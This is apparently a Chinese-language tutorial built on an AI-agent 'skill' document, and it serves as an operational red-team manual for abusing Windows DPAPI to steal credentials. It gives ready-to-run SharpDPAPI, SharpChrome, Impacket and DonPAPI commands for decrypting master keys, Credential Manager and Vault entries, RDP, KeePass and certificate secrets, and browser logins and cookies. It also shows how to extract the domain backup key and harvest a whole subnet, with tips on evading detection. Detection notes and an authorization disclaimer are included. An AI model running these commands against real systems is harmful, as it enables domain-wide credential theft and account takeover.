Anthropic-Cybersecurity-Skills 实战指南:滥用 Windows DPAPI 实现凭据访问(T1555.004)完整操作手册
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
本文基于开源仓库 Anthropic-Cybersecurity-Skills 中的 abusing-dpapi-for-credential-access 技能文档 编写。该技能是 817 个结构化网络安全技能之一,面向 AI Agent 与安全从业者,提供从主机 Triage 到域级备份密钥解密的完整 DPAPI 凭据获取方法论。读完本文,你将掌握三条 DPAPI 解密路径(在线上下文解密、离线密码/NTLM 哈希解密、域备份密钥全域解密)、SharpDPAPI / SharpChrome / Mimikatz / Impacket 的完整命令用法,以及对应的 MITRE ATT&CK 映射与检测规避要点。
概述:DPAPI 为什么是红队凭据获取的核心目标
Windows 数据保护 API(Data Protection API,DPAPI)是操作系统内置的对称加密服务,应用程序用它保护磁盘上的秘密数据:保存的 RDP 和 Windows 凭据管理器(Credential Manager)凭据、Credential Vault 中的 Web 与 Wi-Fi 凭据、浏览器保存的登录信息与 Cookie(Chrome/Edge)、KeePass 主密钥、证书私钥,以及计划任务密码。
DPAPI 的密码学核心是两层密钥结构:系统从用户的密码(或机器账户密钥)派生出每个用户(或每台机器)独有的主密钥(Master Key),再由该主密钥加密一个个独立的 "DPAPI blob"。加密后的主密钥存放在固定的文件路径下:
| 密钥类型 | 存放路径 |
|---|---|
| 用户主密钥 | %APPDATA%\Microsoft\Protect\<SID>\ |
| 机器主密钥 | %WINDIR%\System32\Microsoft\Protect\ |
| 凭据管理器 Blob | %LOCALAPPDATA%\Microsoft\Credentials\ |
| Credential Vault | %APPDATA%\Microsoft\Vault\/%LOCALAPPDATA%\Microsoft\Vault\ |
红队获得立足点(foothold)后,滥用 DPAPI 即可恢复明文凭据,对应 MITRE ATT&CKT1555.004(从密码存储中获取凭据:Windows 凭据管理器)。攻击者有三条主要的解密路径:
- 在线 / 上下文解密——以目标用户身份运行时,DPAPI 的
CryptUnprotectDataAPI 可直接透明解密该用户的 blob。SharpDPAPI 的/unprotect标志即走此路径。 - 离线 + 用户密码或 NTLM 哈希——用
/password:或/ntlm:先解密用户主密钥,再离线解密 blob。非常适合处理从主机拉取(triage)回来的文件。 - 域级备份密钥——域管理员可一次性提取域内 RSA DPAPI 备份密钥(
.pvk),此后可在线或离线解密任意域用户的主密钥,使用/pvk:指定。
配套工具方面,Windows 平台的标准工具链是SharpDPAPI(GhostPack 出品,Mimikatz DPAPI 功能的 C# 移植)用于通用 Triage,SharpChrome专攻浏览器凭据,Mimikatz(dpapi::*模块)是原始实现;Linux 侧则用 Impacket 的dpapi.py与donpapi做远程/离线 Triage。
何时使用本技能
- 攻陷 Windows 主机后,目标用户保存了值得为横向移动收集的 RDP、浏览器或 Vault 凭据;
- 你已持有某用户的密码或 NTLM 哈希,希望离线解密其 DPAPI 保护的秘密;
- 你拥有域管理员权限,希望获取域 DPAPI 备份密钥,从而解密全企业范围内任意用户的受保护数据;
- 需要对从磁盘镜像中提取的
Credentials、Vault、Protect目录进行 Triage; - 紫队演练中,验证对 DPAPI 主密钥访问、LSASS/Protect 目录读取的检测能力。
前置条件与工具准备
操作前必须满足:
- 对目标 Windows 主机持有已授权的立足点(交互式会话、Beacon 或远程管理权限);
- 掌握目标用户的 SID,以及以下任一条件:用户会话、明文密码、NTLM 哈希,或用于备份密钥的域管理员权限;
- 准备相应工具。工具应编译自源码或使用官方发行版二进制(务必只从官方上游获取):
# SharpDPAPI / SharpChrome(GhostPack)— 用 Visual Studio / msbuild 构建 git clone https://github.com/GhostPack/SharpDPAPI.git # 打开 SharpDPAPI.sln 构建 Release,或命令行: msbuild SharpDPAPI.sln /p:Configuration=Release # Mimikatz(DPAPI 原始实现)— 使用官方 release # Linux 远程/离线 Triage(Impacket) pipx install impacket # 提供 dpapi.py / impacket-dpapi pipx install donpapi本技能还附带一个可直接落地的 Python 编排脚本 scripts/agent.py,详见下文"配套脚本"一节。
MITRE ATT&CK 与框架映射
技能文档 SKILL.md 的 frontmatter 声明了mitre_attack: T1555.004与nist_csf: DE.CM-01,完整的映射依据见 references/standards.md:
| Technique ID | 名称 | 战术 | 相关性 |
|---|---|---|---|
| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI 保护凭据管理器/Vault 条目;解密主密钥和 blob 即可恢复存储的凭据 |
| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome 解密 DPAPI 保护的 Chrome/Edge 登录信息、Cookie 与 state key |
| T1003 | OS Credential Dumping | Credential Access | 提取主密钥/备份密钥属于凭据材料转储 |
NIST CSF 2.0 侧对应DE.CM-01(网络与网络服务被监控以发现潜在不利事件):DPAPI 滥用会产生可检测信号(发往 DC 的 MS-BKRP 备份密钥 RPC、Protect/Credentials 目录访问、LSASS 访问),监控必须能暴露这些信号。支撑规范还包括MS-BKRP(BackupKey Remote Protocol,用于获取域 DPAPI 备份密钥的 RPC 接口)、MS-DPSP/DPAPI(微软 DPAPI 规范),以及D3FEND中的 Credential Eviction / Password Rotation 作为 DPAPI 失陷后的缓解措施。
攻击工作流:七步从 Triage 到全域解密
1. 主机 Triage:枚举 DPAPI Blob
在目标用户上下文中运行 SharpDPAPI 的triage命令,自动枚举并(尽可能)解密凭据、Vault、RDG/RDP、证书:
# 当前用户上下文在线 Triage(使用 CryptUnprotectData) SharpDPAPI.exe triage /unprotect # 机器级 Triage(需要本地管理员 / SYSTEM),针对机器作用域 blob SharpDPAPI.exe machinetriage提示:
triage是自动串联credentials、vaults、rdg、certificates的一站式命令;机器作用域对应machinetriage(串联machinemasterkeys、machinecredentials、machinevaults)。各命令与标志的完整速查见 references/api-reference.md。
2. 离线解密用户主密钥(密码或 NTLM 哈希)
若你持有用户密码或哈希,可先解密其主密钥,得到可复用的{GUID}:SHA1映射,再对单个 blob 使用:
# 用明文密码解密当前/指定用户的所有主密钥 SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple # 改用 NTLM 哈希而非密码 SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a # 输出为 GUID:SHA1 行 — 可喂给 credentials/vaults 等命令masterkeys命令输出的GUID:SHA1映射是整个离线解密链路的关键中间产物,后续的credentials、vaults命令都把它当作输入。
3. 恢复凭据管理器与 Vault 秘密
用解密后的主密钥映射(或/pvk:)解密存储的凭据与 Vault 条目:
# 用 GUID:SHA1 映射解密凭据管理器 blob SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1 # 或指定目标 Credentials 文件夹,用域备份密钥解密 SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk # 解密 Credential Vault 条目 SharpDPAPI.exe vaults /pvk:backupkey.pvk4. 解密 RDP、KeePass 与证书秘密
# 保存的 RDCMan.settings RDP 密码(当前用户上下文) SharpDPAPI.exe rdg /unprotect # KeePass DPAPI 保护的主密钥 SharpDPAPI.exe keepass /unprotect # 证书私钥(用 /showall 导出所有存储,输出可用 .pem) SharpDPAPI.exe certificates /unprotect /showall5. 用 SharpChrome 提取浏览器凭据
SharpChrome 解密 Chrome/Edge 的登录信息与 Cookie。现代 Chromium 使用 App-Bound 的 "state key",SharpChrome 通过 DPAPI 解析它:
# 解密当前用户的保存登录信息 SharpChrome.exe logins /unprotect # 解密指定文件夹中的 Cookie(会话劫持场景非常有用) SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk # 显式解析 AES state key SharpChrome.exe statekeys /unprotect6. 获取域 DPAPI 备份密钥(域管理员)
拥有域管理员权限后,一次性提取域的 RSA DPAPI 备份私钥。该密钥可以无限期解密每一个域用户的主密钥:
# 通过 MS-BKRP RPC 接口拉取并保存域备份密钥为 .pvk SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk随后即可离线解密任意用户的主密钥:
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\从源码结构看(api-reference.md),backupkey还支持/rpc标志,通过 RPC 向 DC 请求主密钥解密,适用于不想在本机持有备份密钥材料的场景。
7. Linux 远程 / 离线 Triage(Impacket / DonPAPI)
从 Linux 操作机跨主机收割并解密 DPAPI 秘密:
# 用 Impacket + 域备份密钥解密单个主密钥文件 impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk # 用恢复出的主密钥解密凭据 blob impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey> # 用 DonPAPI 跨主机批量远程 DPAPI 收割 donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24命令速查:参数与关键文件位置
技能文档附带的 api-reference.md 提供了可复制的参数速查表,整理如下。
SharpDPAPI 用户命令
| 命令 | 用途 | 示例 |
|---|---|---|
triage | 自动运行 credentials、vaults、rdg、certificates | SharpDPAPI.exe triage /unprotect |
masterkeys | 解密用户主密钥(GUID:SHA1 输出) | SharpDPAPI.exe masterkeys /password:Pass |
credentials | 解密凭据管理器 blob | SharpDPAPI.exe credentials /pvk:key.pvk |
vaults | 解密 Credential Vault 条目 | SharpDPAPI.exe vaults /pvk:key.pvk |
rdg | 解密 RDCMan.settings RDP 密码 | SharpDPAPI.exe rdg /unprotect |
keepass | 解密 KeePass DPAPI 密钥 | SharpDPAPI.exe keepass /unprotect |
certificates | 解密证书私钥 | SharpDPAPI.exe certificates /unprotect /showall |
SharpDPAPI 机器命令(需管理员/SYSTEM)
| 命令 | 用途 |
|---|---|
machinemasterkeys | 解密机器主密钥(使用 DPAPI_SYSTEM LSA 秘密) |
machinecredentials | 解密机器凭据 blob |
machinevaults | 解密机器 Vault 条目 |
machinetriage | 运行全部机器作用域 Triage 命令 |
SharpDPAPI 支撑命令
| 命令 | 用途 | 示例 |
|---|---|---|
backupkey | 通过 MS-BKRP 获取域 DPAPI 备份密钥(.pvk) | SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk |
常用标志
| 标志 | 含义 |
|---|---|
/unprotect | 在当前用户上下文使用实时CryptUnprotectData(在线) |
/password:<pw> | 用用户明文密码解密主密钥 |
/ntlm:<hash> | 用用户 NTLM 哈希解密主密钥 |
/pvk:<file> | 用域备份私钥解密 |
/mkfile:<file> | 指定具体主密钥文件 |
/server:<dc> | 指定 backupkey 检索的目标 DC |
/target:<path> | 指定要解密的文件/文件夹 |
/rpc | 用 RPC 向 DC 请求主密钥解密 |
/showall | 显示所有证书存储 / 详细输出 |
SharpChrome 命令
| 命令 | 用途 | 示例 |
|---|---|---|
logins | 解密浏览器保存的登录信息 | SharpChrome.exe logins /unprotect |
cookies | 解密浏览器 Cookie | SharpChrome.exe cookies /pvk:key.pvk |
statekeys | 解密 AES App-Bound state key | SharpChrome.exe statekeys /unprotect |
Impacket dpapi.py(Linux)
| 子命令 | 用途 | 示例 |
|---|---|---|
masterkey | 解密主密钥文件 | impacket-dpapi masterkey -file MK -pvk key.pvk |
credential | 解密凭据 blob | impacket-dpapi credential -file CRED -key 0x<mk> |
vault | 解密 Vault policy/creds | impacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk> |
backupkeys | 获取域备份密钥 | impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk |
仓库配套脚本:自动化 DPAPI Triage 编排器
技能目录下的 scripts/agent.py 是一个面向操作员的 Python 辅助脚本,它负责构建并运行真实工具命令、解析输出,而不重新实现 DPAPI 密码学(脚本 docstring 中明确声明了这一点)。从源码结构可以看清整个 Triage 自动化的设计:
enumerate_artifacts(profile)(agent.py):按AppData\Roaming\Microsoft\Protect(主密钥)、AppData\Local\Microsoft\Credentials(凭据 blob)、AppData\Local\Microsoft\Vault与AppData\Roaming\Microsoft\Vault(Vault)四个相对路径递归枚举全部 DPAPI 工件文件,返回masterkeys、credentials、vaults三类清单。这些常量与 api-reference.md 中的关键文件位置表完全一致,印证了文档对磁盘布局的描述。sharpdpapi_triage(tool, ...)(agent.py):按优先级自动组装 SharpDPAPItriage命令——有/pvk:优先用域备份密钥,否则/password:,否则/ntlm:,兜底/unprotect。这直接复刻了 SKILL.md 中三条解密路径的取舍逻辑。decrypt_masterkey_impacket(tool, ...)(agent.py):对每个主密钥文件调用impacket-dpapi masterkey -file <mk> -pvk <pvk>,实现 Linux 侧批量离线解密。main()(agent.py):提供--mode enumerate|impacket|sharpdpapi三种模式,配合--profile(已挂载/提取的 Windows 用户配置目录)、--pvk、--password、--ntlm、--timeout(默认 120 秒/命令)参数。脚本同时内置了授权提醒输出与 ROE(Rules of Engagement)确认提示,并会检测工具是否存在于 PATH 中。
这意味着在 Triage 场景中,你既可以直接手敲 SharpDPAPI 命令,也可以让该脚本代为枚举工件并驱动解密工具,适合在提取(exfiltrated)的用户配置目录上做离线批量处理。
检测与 OPSEC 注意事项
技能文档 SKILL.md 对攻防双方都给出了明确提示:
- 主密钥访问、对
\Microsoft\Protect\与\Microsoft\Credentials\的读取都是可检测的;backupkey操作会向 DC 触发一次 MS-BKRP RPC 调用,这是域级活动的高置信信号; /unprotect(在线)路径是单主机场景下最隐蔽的选项,但仅能在存活用户上下文中工作;- 防御方应监控 Sysmon 对 LSASS 的进程访问,以及对 Protect/Credentials 文件夹的异常访问(对应 NIST CSF DE.CM-01)。
从 OPSEC 角度,攻方应权衡三条路径的暴露面:在线路径不留文件但依赖会话;离线路径需要先取得主密钥材料(复制Protect目录本身即是取证痕迹);域备份密钥路径威力最大但 MS-BKRP RPC 极易被 DC 侧审计捕获。
验证清单
完成一次完整的 DPAPI 凭据访问演练后,应逐项确认(来自 SKILL.md 的 Validation Criteria):
- 用
SharpDPAPI triage/machinetriage完成主机 Triage; - 通过
/unprotect、/password:、/ntlm:或/pvk:解密用户主密钥; - 恢复凭据管理器与 Vault 秘密;
- 提取 RDP / KeePass / 证书秘密(如存在);
- 用 SharpChrome 解密浏览器登录信息/Cookie;
- 用域管理员权限获取域 DPAPI 备份密钥(如范围内)并离线复用;
- 所有恢复的秘密均记录来源主机/用户,并确认符合 ROE 约束。
合规声明
本技能仅限在已授权的渗透测试、红队演练与教育环境中使用。从你未拥有、或缺乏明确书面授权测试的系统中提取凭据是违法行为,可能触犯计算机欺诈与滥用相关法律。所有操作必须置于签署的规则(rules-of-engagement)之内,并记录每一步操作。
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考